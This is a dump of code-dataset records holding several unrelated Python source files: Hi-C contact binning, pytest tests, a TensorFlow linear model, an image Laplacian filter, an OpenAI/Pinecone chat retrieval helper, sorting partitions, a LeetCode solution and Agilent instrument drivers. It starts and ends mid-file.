()\n :param True diagonal: True if you want to count diagonal interactions\n '''\n \n # change filter exclude to binary\n if not isinstance(filter_exclude, int):\n filter_exclude = filters_to_bin(filter_exclude)\n\n if diagonal:\n goThroughReads = goThroughReads_yesDiag\n else:\n goThroughReads = goThroughReads_noDiag\n\n interPerBin = defaultdict(int)\n \n nRead = 0\n \n if infile.endswith('.bam'):\n # get section positions \n section_pos = getSectionPos(infile, resol)\n\n # check if this BAM file is not TADbit style\n bamfile = AlignmentFile(infile, 'rb')\n if 'Hicup' in bamfile.text:\n print('It seems this BAM file was produced outside TADbit, make \\\nsure it has already been filtered')\n if filter_exclude != ():\n print('Consider changing filter_exclude so its value is () \\\nor you might get no reads')\n \n bamfile.close()\n\n bamfile = AlignmentFile(infile, 'rb')\n for r in bamfile.fetch():\n # Check if it is among positions to be filtered\n # BEWARE that it follows TADbit format\n if r.flag & filter_exclude:\n continue\n crm1 = r.reference_name\n pos1 = r.reference_start + 1\n crm2 = r.next_reference_name\n pos2 = r.next_reference_start + 1\n \n line = [crm1, pos1, crm2, pos2]\n interPerBin, nRead = goThroughReads(section_pos, line, interPerBin,\n resol, nRead=nRead)\n bamfile.close()\n \n\n elif infile.endswith('.tsv'):\n with open(infile, 'r') as f:\n # get chromosome lengths\n sections = OrderedDict()\n while True:\n line = f.readline()\n if line.startswith('#'):\n line = line.split()\n if line[1] == 'CRM':\n sections[line[2]] = int(line[3])\n \n elif line.startswith('@'):\n pass\n else:\n break\n \n # create binned positioning for chromosomes\n total = 0\n section_pos = OrderedDict()\n for crm in sections:\n section_pos[crm] = (total, total + (sections[crm] // resol + 1))\n total += (sections[crm] // resol + 1)\n\n # iterate over reads\n line = line.split()\n line = [line[1], line[2], line[7], line[8]]\n\n # Run current line (first one)\n interPerBin, nRead = goThroughReads(section_pos, line, interPerBin,\n resol, nRead=nRead)\n\n # Go for next lines\n for line in f:\n line = line.split()\n line = [line[1], line[2], line[7], line[8]]\n \n interPerBin, nRead = goThroughReads(section_pos, line, interPerBin,\n resol, nRead=nRead)\n\n \n # Get genomic coordinates for region of interest\n if locusCh == True:\n regionStart = min(regRange)\n regionEnd = max(regRange) \n\n ## modify if we want data from all genome\n # Get all the fragments that start inside this coordinates\n keys = [k for k in interPerBin.keys() if (regionStart <= \n k <= \n regionEnd)]\n regInterPerBin = defaultdict(int)\n for k in keys:\n regInterPerBin[k] += interPerBin[k]\n \n # Or not\n else:\n regInterPerBin = interPerBin\n \n\n if returnNread == False:\n return regInterPerBin\n else:\n return regInterPerBin, nRead\n\n\n# Normalise by frecuencies given the presence of each interacting fragment \ndef frecuenciesNorm(hic_data, resol, regRange, concatemersBin, multResult=100, \n keep=False, mininter=0, positionAdjust=0):\n \n '''\n param 0 positionAdjust: In case the positions from concatemersBin are taking \n into account bining from the whole genome, but we just load in hic_data\n one chromosome. Here concatemersBin will be substracted added to the \n positions in regRange in order to compensate this\n \n '''\n # create HiC data for normalised interactions\n dict_sec = hic_data.sections\n genome_seq = hic_data.chromosomes\n size = sum(genome_seq[crm] for crm in genome_seq)\n norm_data = HiC_data((), size, genome_seq, dict_sec, resolution=resol)\n\n # Will remove from divider concatemers counted twice\n if keep == False:\n for nbin1, bin1 in enumerate(regRange):\n for bin2 in regRange[nbin1:]:\n # If diagonal or bellow sed interactions\n if bin1 == bin2 or hic_data[bin1, bin2] <= mininter:\n pass # Leave it as zero\n\n else:\n # get divider\n #if concatemersBin[bin1] == 0:\n # if concatemersBin[bin2] == 0:\n # divider = 1\n # else:\n # divider = concatemersBin[bin2]\n #elif concatemersBin[bin2] == 0:\n # divider = concatemersBin[bin1]\n #else:\n divider = (concatemersBin[bin1 + positionAdjust] + \n concatemersBin[bin2 + positionAdjust] - \n hic_data[bin1, bin2])\n\n #divider = float(concatemersBin[bin1] + concatemersBin[bin2])\n\n #if divider == 0:\n # divider = 1\n # if divider is 0 it means concatemersBin was taken with another index\n #ie just checking a chromosome, or whole genome and here just \n #normalising a file were we loaded one chromosome\n # if both are zero \n norm_data[bin1, bin2] = (hic_data[bin1, bin2] / float(divider)) * multResult\n norm_data[bin2, bin1] = norm_data[bin1, bin2]\n\n else:\n for ke in keep:\n # If diagonal or bellow sed interactions\n if (ke[0] == ke[1] or hic_data[ke[0], ke[1]] <= mininter or\n (ke[0] not in regRange or ke[1] not in regRange)):\n pass # Leave it as zero\n else:\n # get divider\n #if concatemersBin[ke[0]] == 0:\n # if concatemersBin[ke[1]] == 0:\n # divider = 1\n # else:\n # divider = concatemersBin[ke[1]]\n #elif concatemersBin[ke[1]] == 0:\n # divider = concatemersBin[ke[0]]\n #else:\n divider = (concatemersBin[ke[0] + positionAdjust] + \n concatemersBin[ke[1] + positionAdjust] - \n hic_data[ke[0], ke[1]])\n\n #divider = float(concatemersBin[bin1] + concatemersBin[bin2])\n\n #if divider == 0:\n # divider = 1\n # if both are zero \n norm_data[ke[0], ke[1]] = hic_data[ke[0], ke[1]] / float(divider)\n norm_data[ke[1], ke[0]] = norm_data[ke[0], ke[1]]\n \n return norm_data","repo_name":"julenmendieta/pipelines","sub_path":"chiaDrop/MultiContact_py3.py","file_name":"MultiContact_py3.py","file_ext":"py","file_size_in_byte":35075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37441109992","text":"import pandas as pd\nfrom Trades.Trades import MarkDiscontinuous\nfrom Trades.tests import TestPrep\nimport numpy as np\nimport pytest\n\n\ndef test_pip_position_not_specified():\n \n with pytest.raises(TypeError) as exp:\n _trades = MarkDiscontinuous()\n assert exp.value ==\"Missing pip decimal position\"\n\n\ndef test_shape_mismatch():\n\n _trades = MarkDiscontinuous(4)\n _context = TestPrep.TestPrep.data_prep()\n _df = _context[\"data\"]\n _sig = _context[\"signal\"]\n\n with pytest.raises(ValueError) as exp:\n _sig_calc = _trades.compute(_df[10:], _sig)\n assert exp.value == \"Either the data set and signal vectors needs to be the same shape\"\n\n\n\n\n\n\n","repo_name":"mchiuminatto/MVA_Crossover","sub_path":"Trades/tests/test_sad_paths.py","file_name":"test_sad_paths.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10156429150","text":"#coding=utf-8\n\nimport tensorflow as tf\n\n\n\"\"\"1、inference:构建前项预测过程\n 2、loss:计算损失\n 3、train:训练\n 4、eval:评估\n\"\"\"\n\nx_train=[]\ny_train=[]\n\nif __name__=='__main__':\n print('linear')\n\n\n with tf.Graph().as_default():\n ## 输入数据(非持久化张量)\n with tf.name_scope('input'):\n X=tf.placeholder(tf.float32, name='X')\n Y=tf.placeholder(tf.float32, name='Y')\n\n ## 模型参数(持久化张量)\n with tf.name_scope('inference'):\n w=tf.Variable(tf.zeros([1]), name='weight')\n b=tf.Variable(tf.zeros([1]), name='bias')\n\n ## inference\n y_hat=tf.multiply(X, w)+b\n\n ## loss\n with tf.name_scope('loss'):\n loss=tf.reduce_sum(tf.pow(y_hat-Y, 2))\n\n ##train\n with tf.name_scope('train'):\n optimizer=tf.train.GradientDescentOptimizer(learning_rate=0.1)\n train=optimizer.minimize(loss)\n ##eval\n # 在线性模型中eval与train相同,省略\n\n ## 初始化结点\n init=tf.global_variables_initializer()\n\n ## 保存计算图\n writer=tf.summary.FileWriter(logdir='../logs', graph=tf.get_default_graph())\n writer.flush()\n writer.close()\n\n ## 启动session会话\n with tf.Session() as sess:\n sess.run(init)\n for epoch in range(100):\n loss_score, _=sess.run(fetches=[loss, train], feed_dict={X:x_train, Y:y_train})\n if epoch%10==0:\n print('loss:',loss_score)","repo_name":"lovejing0306/TensorFlow","sub_path":"book/001_tensorflow_actual_combat/chapter_01/04_linear.py","file_name":"04_linear.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43084076408","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 4 12:52:51 2022\n\n@author: Asus\n\"\"\"\n\nimport cv2 as cv\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\ndef clip(img):\n m = img.shape[0]\n n = img.shape[1]\n for i in range(m):\n for j in range(n):\n if img[i][j] > 255:\n img[i][j] = 255\n if img[i][j] < 0:\n img[i][j] = 0\n return img.astype(np.float32)\n\ndef scale(img):\n g_m = img-img.min()\n g_s = 255*(g_m/g_m.max())\n return g_s.astype(np.float32)\n\npath = \"C:/Users/Asus/Desktop/1.png\"\n\nimg = cv.imread(path)\n\nimg = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\nplt.imshow(img,'gray')\n\nplt.title(\"Inpur for laplace raw\")\n\nplt.show()\n\nprint(\"Enter kernel height: \")\n\nk_h = int(input())\n\nprint(\"Enter kernel weidth: \")\n\nk_w = int(input())\n\nsigma = 1.0\n\ns = sigma*sigma\n\npi = 3.1416\n\nkernel = np.zeros((k_h,k_w), np.float32)\n\na = kernel.shape[0] // 2\nb = kernel.shape[1] // 2\n\nm = img.shape[0]\nn = img.shape[1]\n\nop = np.zeros((m,n), np.float32)\n\nfor x in range(-a,a+1):\n for y in range(-b,b+1):\n sqsum = (x*x+y*y)\n term = (sqsum)/(2*s)\n r = math.exp(-(term))\n term = 1-term\n r = r*term*(-1/(pi*s*s))\n kernel[a+x][b+y] = r\n \nfor i in range(k_h):\n print(kernel[i])\n \nfor i in range(m):\n for j in range(n):\n for x in range(-a,a+1):\n for y in range(-b,b+1):\n if i-x>=0 and i-x=0 and j-y List[List[float]]:\n \"\"\"\n Generates embeddings for the given list of texts using the OpenAI API.\n\n Args:\n text (List[str]): A list of strings to be embedded.\n model (str, optional): The name of the OpenAI model to use for embedding.\n Defaults to \"text-embedding-ada-002\".\n\n Returns:\n A list of embeddings generated by the OpenAI API for the input texts.\n\n Raises:\n OpenAIError: If there was an error communicating with the OpenAI API.\n\n Example usage:\n >>> get_embedding([\"Hello, world!\", \"How are you?\"])\n [[-0.123, 0.456, 0.789, ...], [0.123, -0.456, 0.789, ...]]\n\n \"\"\"\n openai.api_key = openai_api_key\n\n embedding_args: Dict[str, str | List[str]] = {\"input\": text}\n\n if settings.OPENAI_API_TYPE == \"azure\":\n embedding_args[\"engine\"] = settings.AZURE_EMBEDDING_DEPLOYMENT\n else:\n embedding_args[\"model\"] = model\n\n res = openai.Embedding.create(**embedding_args)\n\n return [record[\"embedding\"] for record in res[\"data\"]]\n\n\ndef get_sanitized_reference(pinecone_references: List[QueryResponse]) -> str:\n \"\"\"\n Extracts the text from the Pinecone QueryResponse object and sanitizes it.\n\n Args:\n pinecone_reference (List[QueryResponse]): The similar documents retrieved from\n the Pinecone index.\n\n Returns:\n A string containing the document id and text from the Pinecone QueryResponse object.\n\n Example usage:\n >>> get_sanitized_reference([QueryResponse(...), QueryResponse(...)])\n \"{'28': 'Hello how are you, I am fine, thank you.', '21': 'How was your day?, Mine was good.'}\"\n \"\"\"\n sanitized_reference = {}\n\n for reference in pinecone_references:\n for match in reference.matches:\n try:\n document_id = str(match.metadata[\"document\"])\n text = str(match.metadata[\"text\"]).replace(\"\\n\", \" \") + \",\"\n if document_id in sanitized_reference:\n sanitized_reference[document_id] += text\n else:\n sanitized_reference[document_id] = text\n except Exception as e:\n print(e)\n pass\n\n return json.dumps(sanitized_reference)\n\n\ndef num_tokens_from_string(string: str, encoding_name: str) -> int:\n \"\"\"Returns the number of tokens in a text string.\"\"\"\n encoding = tiktoken.get_encoding(encoding_name)\n num_tokens = len(encoding.encode(string))\n return num_tokens\n\n\ndef split_text(text):\n \"\"\"Returns one string split into n equal length strings\"\"\"\n n = len(text)\n number_of_chars = 8192\n parts = []\n\n for i in range(0, n, number_of_chars):\n part = text[i : i + number_of_chars]\n parts.append(part)\n\n return parts\n\n\ndef create_json_response(\n input_text, chat_id, delta, message, stop, error, ayushma_voice\n):\n json_data = {\n \"chat\": str(chat_id),\n \"input\": input_text,\n \"delta\": delta,\n \"message\": message,\n \"stop\": stop,\n \"error\": error,\n \"ayushma_voice\": ayushma_voice,\n }\n\n return \"data: \" + json.dumps(json_data) + \"\\n\\n\"\n\n\ndef get_reference(text, openai_key, namespace, top_k):\n num_tokens = num_tokens_from_string(text, \"cl100k_base\")\n embeddings: List[List[List[float]]] = []\n if num_tokens < 8192:\n try:\n embeddings.append(get_embedding(text=[text], openai_api_key=openai_key))\n except Exception as e:\n return Exception(\n e.__str__(),\n )\n else:\n parts = split_text(text)\n for part in parts:\n try:\n embeddings.append(get_embedding(text=[part], openai_api_key=openai_key))\n except Exception as e:\n raise Exception(\n e.__str__(),\n )\n # find similar embeddings from pinecone index for each embedding\n pinecone_references: List[QueryResponse] = []\n\n for embedding in embeddings:\n similar: QueryResponse = settings.PINECONE_INDEX_INSTANCE.query(\n vector=embedding,\n top_k=int(top_k),\n namespace=namespace,\n include_metadata=True,\n )\n pinecone_references.append(similar)\n return get_sanitized_reference(pinecone_references=pinecone_references)\n\n\ndef add_reference_documents(chat_message):\n ref_text = \"References:\"\n chat_text = str(chat_message.original_message)\n ref_start_idx = chat_text.find(ref_text)\n if ref_start_idx == -1:\n return\n\n try:\n doc_ids = chat_text[ref_start_idx + len(ref_text) :].split(\",\")\n doc_ids = [doc_id.strip(\" .,[]*'\\\"“”“\\n-\") for doc_id in doc_ids]\n doc_ids = set([str(doc_id) for doc_id in doc_ids if doc_id != \"\"])\n for doc_id in doc_ids:\n try:\n doc = Document.objects.get(external_id=doc_id)\n chat_message.reference_documents.add(doc)\n except Document.DoesNotExist:\n pass\n except Exception as e:\n print(\"Error adding reference documents: \", e)\n\n chat_message.original_message = chat_text[\n :ref_start_idx\n ].strip() # Strip to remove empty line at the end \\nRefereces:\n chat_message.save()\n\n\ndef handle_post_response(\n chat_response,\n chat,\n match_number,\n user_language,\n temperature,\n stats,\n language,\n generate_audio=True,\n):\n chat_message: ChatMessage = ChatMessage.objects.create(\n original_message=chat_response,\n chat=chat,\n messageType=ChatMessageType.AYUSHMA,\n top_k=match_number,\n temperature=temperature,\n language=language,\n )\n add_reference_documents(chat_message)\n translated_chat_response = chat_message.original_message\n if user_language != \"en-IN\":\n stats[\"response_translation_start_time\"] = time.time()\n translated_chat_response = translate_text(\n user_language, chat_message.original_message\n )\n stats[\"response_translation_end_time\"] = time.time()\n\n ayushma_voice = None\n if generate_audio:\n stats[\"tts_start_time\"] = time.time()\n ayushma_voice = text_to_speech(translated_chat_response, user_language)\n stats[\"tts_end_time\"] = time.time()\n\n url = None\n if ayushma_voice:\n stats[\"upload_start_time\"] = time.time()\n chat_message.audio.save(\n f\"{chat_message.external_id}.mp3\", io.BytesIO(ayushma_voice)\n )\n stats[\"upload_end_time\"] = time.time()\n\n chat_message.message = translated_chat_response\n chat_message.meta = {\n \"translate_start\": stats.get(\"response_translation_start_time\"),\n \"translate_end\": stats.get(\"response_translation_end_time\"),\n \"reference_start\": stats.get(\"reference_start_time\"),\n \"reference_end\": stats.get(\"reference_end_time\"),\n \"response_start\": stats.get(\"response_start_time\"),\n \"response_end\": stats.get(\"response_end_time\"),\n \"tts_start\": stats.get(\"tts_start_time\"),\n \"tts_end\": stats.get(\"tts_end_time\"),\n \"upload_start\": stats.get(\"upload_start_time\"),\n \"upload_end\": stats.get(\"upload_end_time\"),\n }\n chat_message.save()\n return translated_chat_response, url, chat_message\n\n\ndef converse(\n english_text,\n local_translated_text,\n openai_key,\n chat,\n match_number,\n user_language,\n temperature,\n stats={},\n stream=True,\n references=None,\n generate_audio=True,\n noonce=None,\n fetch_references=True,\n documents=None,\n):\n if not openai_key:\n raise Exception(\"OpenAI-Key header is required to create a chat or converse\")\n\n english_text = english_text.replace(\"\\n\", \" \")\n language = user_language.split(\"-\")[0]\n nurse_query = ChatMessage.objects.create(\n message=local_translated_text,\n original_message=english_text,\n chat=chat,\n messageType=ChatMessageType.USER,\n language=language,\n meta={\n \"translate_start\": stats.get(\"request_translation_start_time\"),\n \"translate_end\": stats.get(\"request_translation_end_time\"),\n },\n noonce=noonce,\n )\n\n stats[\"reference_start_time\"] = time.time()\n\n if references:\n reference = references\n elif fetch_references and chat.project and chat.project.external_id:\n try:\n reference = get_reference(\n english_text, openai_key, str(chat.project.external_id), match_number\n )\n except Exception as e:\n print(e)\n reference = \"\"\n else:\n reference = \"\"\n\n stats[\"reference_end_time\"] = time.time()\n\n stats[\"response_start_time\"] = time.time()\n\n prompt = chat.prompt or (chat.project and chat.project.prompt)\n\n if documents or chat.project.model == ModelType.GPT_4_VISUAL:\n prompt = \"Image Capabilities: Enabled\\n\" + prompt\n\n # excluding the latest query since it is not a history\n previous_messages = (\n ChatMessage.objects.filter(chat=chat)\n .exclude(id=nurse_query.id)\n .order_by(\"created_at\")\n )\n chat_history = []\n for message in previous_messages:\n if message.messageType == ChatMessageType.USER:\n chat_history.append(HumanMessage(content=f\"{message.message}\"))\n elif message.messageType == ChatMessageType.AYUSHMA:\n chat_history.append(AIMessage(content=f\"Ayushma: {message.message}\"))\n\n if not stream:\n lang_chain_helper = LangChainHelper(\n stream=False,\n openai_api_key=openai_key,\n prompt_template=prompt,\n model=chat.model\n or (chat.project and chat.project.model)\n or ModelType.GPT_3_5,\n temperature=temperature,\n )\n response = lang_chain_helper.get_response(\n english_text, reference, chat_history, documents\n )\n chat_response = response.replace(\"Ayushma: \", \"\")\n stats[\"response_end_time\"] = time.time()\n translated_chat_response, url, chat_message = handle_post_response(\n chat_response,\n chat,\n match_number,\n user_language,\n temperature,\n stats,\n language,\n generate_audio,\n )\n\n yield chat_message\n\n else:\n token_queue = Queue()\n RESPONSE_END = object()\n RESPONSE_ERROR = object()\n\n try:\n lang_chain_helper = LangChainHelper(\n stream=stream,\n token_queue=token_queue,\n end=RESPONSE_END,\n error=RESPONSE_ERROR,\n openai_api_key=openai_key,\n prompt_template=prompt,\n model=chat.model\n or (chat.project and chat.project.model)\n or ModelType.GPT_3_5,\n temperature=temperature,\n )\n with start_blocking_portal() as portal:\n portal.start_task_soon(\n lang_chain_helper.get_aresponse,\n RESPONSE_END,\n RESPONSE_ERROR,\n token_queue,\n english_text,\n reference,\n chat_history,\n documents,\n )\n chat_response = \"\"\n skip_token = len(f\"{AI_NAME}: \")\n\n while True:\n if token_queue.empty():\n continue\n next_token = token_queue.get(True, timeout=10)\n if next_token[0] == RESPONSE_ERROR:\n raise next_token[1]\n if next_token[0] is RESPONSE_END:\n stats[\"response_end_time\"] = time.time()\n (\n translated_chat_response,\n url,\n chat_message,\n ) = handle_post_response(\n chat_response,\n chat,\n match_number,\n user_language,\n temperature,\n stats,\n language,\n generate_audio,\n )\n\n yield create_json_response(\n local_translated_text,\n chat.external_id,\n \"\",\n translated_chat_response,\n True,\n False,\n ayushma_voice=url,\n )\n break\n if skip_token > 0:\n skip_token -= 1\n continue\n chat_response += next_token[0]\n yield create_json_response(\n local_translated_text,\n chat.external_id,\n next_token[0],\n chat_response,\n False,\n False,\n None,\n )\n except Exception as e:\n print(e)\n error_text = str(e)\n translated_error_text = error_text\n if user_language != \"en-IN\":\n translated_error_text = translate_text(user_language, error_text)\n\n ChatMessage.objects.create(\n message=translated_error_text,\n original_message=error_text,\n chat=chat,\n messageType=ChatMessageType.SYSTEM,\n language=language,\n meta={\n \"translate_start\": stats.get(\"response_translation_start_time\"),\n \"translate_end\": stats.get(\"response_translation_end_time\"),\n \"reference_start\": stats.get(\"reference_start_time\"),\n \"reference_end\": stats.get(\"reference_end_time\"),\n \"response_start\": stats.get(\"response_start_time\"),\n \"response_end\": stats.get(\"response_end_time\"),\n \"tts_start\": stats.get(\"tts_start_time\"),\n \"tts_end\": stats.get(\"tts_end_time\"),\n \"upload_start\": stats.get(\"upload_start_time\"),\n \"upload_end\": stats.get(\"upload_end_time\"),\n },\n )\n yield create_json_response(\n local_translated_text, chat.external_id, \"\", str(e), True, True, None\n )\n","repo_name":"coronasafe/ayushma","sub_path":"ayushma/utils/openaiapi.py","file_name":"openaiapi.py","file_ext":"py","file_size_in_byte":15616,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"16453681572","text":"\"\"\"\n11 45 23 81 28 34\n11 45 22 81 23 34 99 22 17 8\n1 1 1 1 1 0 0 0 0 0\n\"\"\"\n\n\ndef lomuto_partition(arr, left, right):\n pivot = right\n i = left - 1\n\n for j in range(left, pivot): # 맨 오른쪽 끝이 pivot 이므로 left 에서 pivot-1 까지\n if arr[j] <= arr[pivot]:\n i += 1\n arr[i], arr[j] = arr[j], arr[i]\n\n arr[i+1], arr[pivot] = arr[pivot], arr[i+1]\n\n return i+1\n\n\ndef hoare_partition(arr, left, right):\n pivot = (left+right)//2\n while left < right:\n while left int:\n\n MAX_INT = 2 ** 31 - 1\n MIN_INT = -2 ** 31\n boudary_len = len(str(MAX_INT))\n sign = 1\n\n def reverseStr(s:str) -> str:\n res = ''\n k = len(s)//2\n str_nums = [_ for _ in s]\n for i in range(k):\n str_nums[i], str_nums[-(i+1)] = str_nums[-(i+1)], str_nums[i]\n\n for char_num in str_nums:\n res+= char_num\n\n return res\n\n def deleteZero(x:int) -> str:\n str_x = str(x)\n while(str_x[-1] == '0'):\n str_x = str_x[:-1]\n\n return str_x\n\n if x == 0:\n return 0\n\n if x < 0:\n sign = -1\n\n x = sign * x\n\n # 去除尾部的零\n str_x = deleteZero(x)\n\n if len(str_x) <= boudary_len:\n str_x = reverseStr(str_x)\n\n if MIN_INT <= int(str_x) * sign <= MAX_INT:\n return int(str_x) * sign\n else:\n return 0\n else:\n return 0\n\n\n'''\n更简洁的做法,不需要反转完再判断是否溢出,而是反转的过程中判断\n'''\n\ndef new_reverse(x: int) -> int:\n res = 0\n sign = 1\n if x < 0:\n sign = -1\n\n x1 = x*sign\n\n MAX_INT = 2 ** 31 - 1\n MIN_INT = -2 ** 31\n\n i = 0\n bits = len(str(x1))\n\n while(x1!=0):\n\n # 对10取余数,得到末尾的数字\n temp = x1%10\n k = bits - i -1\n if sign == 1:\n if (res*10 +temp)*(10**k)>MAX_INT:\n return 0\n if sign == -1:\n if (res*10 +temp)*(10**k)*sign < MIN_INT:\n return 0\n\n # if res > 214748364 or (res==214748364 and temp>7):\n # return 0\n # if res<-214748364 or (res==-214748364 and temp<-8):\n # return 0\n\n res = res*10 +temp\n i +=1\n x1 //=10\n\n return res*sign\n\nif __name__ == '__main__':\n # print(Solution().reverse(123))\n # print( [_ for _ in '123' ])\n print(new_reverse(123))","repo_name":"JTShuai/LeetCode_Notes","sub_path":"7_整数反转.py","file_name":"7_整数反转.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27977119626","text":"__all__ = ['Agilent33220A', 'Agilent33500B', 'Agilent34970A',\n 'AgilentE8363C', 'AgilentN5183A', 'AgilentN9010A',\n 'HP33120A', 'AgilentN5230A']\n\nimport socket\nimport time\nimport copy\nimport re\nimport numpy as np\nfrom itertools import product\nfrom .instrument import SCPIInstrument, Command, StringCommand, BoolCommand, FloatCommand, IntCommand, is_valid_ipv4\nfrom auspex.log import logger\nimport pyvisa.util as util\n\nclass HP33120A(SCPIInstrument):\n \"\"\"HP33120A Arb Waveform Generator\"\"\"\n def __init__(self, resource_name=None, *args, **kwargs):\n super(HP33120A, self).__init__(resource_name, *args, **kwargs)\n self.name = \"HP33120A AWG\"\n\n def connect(self, resource_name=None, interface_type=None):\n if resource_name is not None:\n self.resource_name = resource_name\n super(HP33120A, self).connect(resource_name=self.resource_name, interface_type=interface_type)\n self.interface._resource.read_termination = u\"\\n\"\n self.interface._resource.write_termination = u\"\\n\"\n\n # Frequency & Shape\n frequency = FloatCommand(scpi_string=\"FREQ\") #can use scientific notation (1e4 = 10,000)\n function = StringCommand(scpi_string=\"FUNCtion:SHAPe\") #don't need a map here\n duty_cycle= StringCommand(scpi_string=\"PULSe:DCYCle\") #Give duty cycle in %, needs number as a string\n\n # Arbitrary Waveform\n # “SINC”,“NEG_RAMP”, “EXP_RISE”, “EXP_FALL”, “CARDIAC”, “VOLATILE”,\n # or the name of any user-defined waveforms\n def arb_function(self,name):\n self.interface.write(\"FUNCtion:User \" + name)\n self.interface.write(\"FUNCtion:Shape User\")\n\n def upload_waveform(self,data,name=\"volatile\"):\n #Takes data as float between -1 and +1. The data will scale with amplitude when used\n cmdString=\"Data:Dac Volatile,\"\n # import pdb; pdb.set_trace()\n dataValues=np.round(np.array(data)*2047).astype(np.int32)\n # dataValues=list(dataValues)\n self.interface.write_binary_values(cmdString,dataValues,datatype='h',is_big_endian=True)\n\n if name.lower() != 'volatile':\n self.interface.write('DATA:COPY '+name)\n\n def delete_waveform(self,name='all'):\n #deletes arbitrary waveform with specified name. by default deletes all\n #can't delete anything when outputting an arb function\n if name == 'all':\n name=':'+name\n else:\n name=' '+name\n\n self.interface.write('data:del'+name)\n # Voltage\n amplitude = FloatCommand(scpi_string=\"VOLT\")\n offset = FloatCommand(scpi_string=\"VOLTage:offset\")\n voltage_unit= StringCommand(scpi_string='VOLT:UNIT')#{VPP|VRMS|DBM|DEFault}\n\n load = StringCommand(scpi_string=\"OUTPut:LOAD\") #50, infinit, max ,min\n\n #Burst\n burst_state=Command(scpi_string=\"BM:STATe\", value_map={False: '0', True: '1'})# {OFF|ON}\n burst_cycles=IntCommand(scpi_string=\"BM:NCYCles\")\n burst_source=StringCommand(scpi_string='BM:SOURce') # {INTernal|EXTernal}\n\nclass Agilent33220A(SCPIInstrument):\n \"\"\"Agilent 33220A Function Generator\"\"\"\n\n def __init__(self, resource_name=None, *args, **kwargs):\n super(Agilent33220A, self).__init__(resource_name, *args, **kwargs)\n self.name = \"Agilent 33220A AWG\"\n\n def connect(self, resource_name=None, interface_type=None):\n if resource_name is not None:\n self.resource_name = resource_name\n #If we only have an IP address then tack on the raw socket port to the VISA resource string\n if is_valid_ipv4(self.resource_name):\n self.resource_name += \"::5025::SOCKET\"\n super(Agilent33220A, self).connect(resource_name=self.resource_name, interface_type=interface_type)\n self.interface._resource.read_termination = u\"\\n\"\n self.interface._resource.write_termination = u\"\\n\"\n self.interface._resource.timeout = 3000 #seem to have trouble timing out on first query sometimes\n\n FUNCTION_MAP = {\"Sine\": \"SIN\",\n \"Square\": \"SQU\",\n \"Ramp\": \"RAMP\",\n \"Pulse\": \"PULS\",\n \"Noise\": \"NOIS\",\n \"DC\": \"DC\",\n \"User\": \"USER\"}\n\n frequency = FloatCommand(scpi_string=\"FREQ\")\n function = StringCommand(get_string=\"FUNCtion?\", set_string=\"FUNCTION {:s}\",\n value_map = FUNCTION_MAP)\n\n #Voltage\n dc_offset = FloatCommand(scpi_string=\"VOLT:OFFSET\")\n output = Command(get_string=\"OUTP?\", set_string=\"OUTP {:s}\", value_map = {True: \"1\", False: \"0\"})\n polarity = Command(get_string=\"OUTP:POL?\", set_string=\"OUTP:POL {:s}\", value_map = {1 : \"NORM\", -1 : \"INV\"})\n auto_range = Command(scpi_string=\"VOLTage:RANGe:AUTO\", value_map={True: \"1\", False: \"0\"})\n load_resistance = FloatCommand(scpi_string=\"OUTPut:LOAD\")\n amplitude = FloatCommand(scpi_string=\"VOLT\")\n low_voltage = FloatCommand(scpi_string=\"VOLTage:LOW\")\n high_voltage = FloatCommand(scpi_string=\"VOLTage:HIGH\")\n output_units = Command(get_string=\"VOLTage:UNIT?\", set_string=\"VOLTage:UNIT {:s}\",\n value_map={\"Vpp\" : \"VPP\", \"Vrms\" : \"VRMS\", \"dBm\" : \"DBM\"})\n\n #Trigger, Burst, etc...\n output_sync = Command(get_string=\"OUTPut:SYNC?\", set_string=\"OUTPut:SYNC {:s}\",\n value_map = {True: \"OFF\", False: \"ON\"})\n burst_state = Command(get_string=\"BURSt:STATE?\", set_string=\"BURSt:STATE {:s}\",\n value_map = {True: \"1\", False: \"0\"})\n burst_cycles = FloatCommand(scpi_string=\"BURSt:NCYCles\")\n burst_mode = Command(get_string=\"BURSt:MODE?\", set_string=\"BURSt:MODE {:s}\",\n value_map = {\"Triggered\": \"TRIG\", \"Gated\": \"GAT\"})\n trigger_source = Command(get_string=\"TRIGger:SOURce?\", set_string=\"TRIGger:SOURce {:s}\",\n value_map = {\"Internal\": \"IMM\", \"External\": \"EXT\", \"Bus\": \"BUS\"})\n trigger_slope = Command(get_string=\"TRIGger:SLOPe?\", set_string=\"TRIGger:SLOPe {:s}\",\n value_map = {\"Positive\": \"POS\", \"Negative\": \"NEG\"})\n\n # Pulse characteristics\n pulse_width = FloatCommand(scpi_string=\"FUNCtion:PULSe:WIDTh\")\n pulse_period = FloatCommand(scpi_string=\"PULSe:PERiod\")\n pulse_edge = FloatCommand(scpi_string=\"FUNCtion:PULSe:TRANsition\")\n pulse_dcyc = IntCommand(scpi_string=\"FUNCtion:PULSe:DCYCle\")\n\n ramp_symmetry = FloatCommand(scpi_string=\"FUNCtion:RAMP:SYMMetry\")\n\n def trigger(self):\n self.interface.write(\"*TRG\")\n\n\nclass Agilent33500B(SCPIInstrument):\n \"\"\" Agilent/Keysight 33500 series 2-channel Arbitrary Waveform Generator\n\n Replacement model for 33220 series with some changes and additional sequencing functionality\n \"\"\"\n def __init__(self, resource_name=None, *args, **kwargs):\n super(Agilent33500B, self).__init__(resource_name, *args, **kwargs)\n self.name = \"Agilent 33500B AWG\"\n\n def connect(self, resource_name=None, interface_type=None):\n if resource_name is not None:\n self.resource_name = resource_name\n #If we only have an IP address then tack on the raw socket port to the VISA resource string\n if is_valid_ipv4(self.resource_name):\n self.resource_name += \"::5025::SOCKET\"\n super(Agilent33500B, self).connect(resource_name=self.resource_name, interface_type=interface_type)\n self.interface._resource.read_termination = u\"\\n\"\n 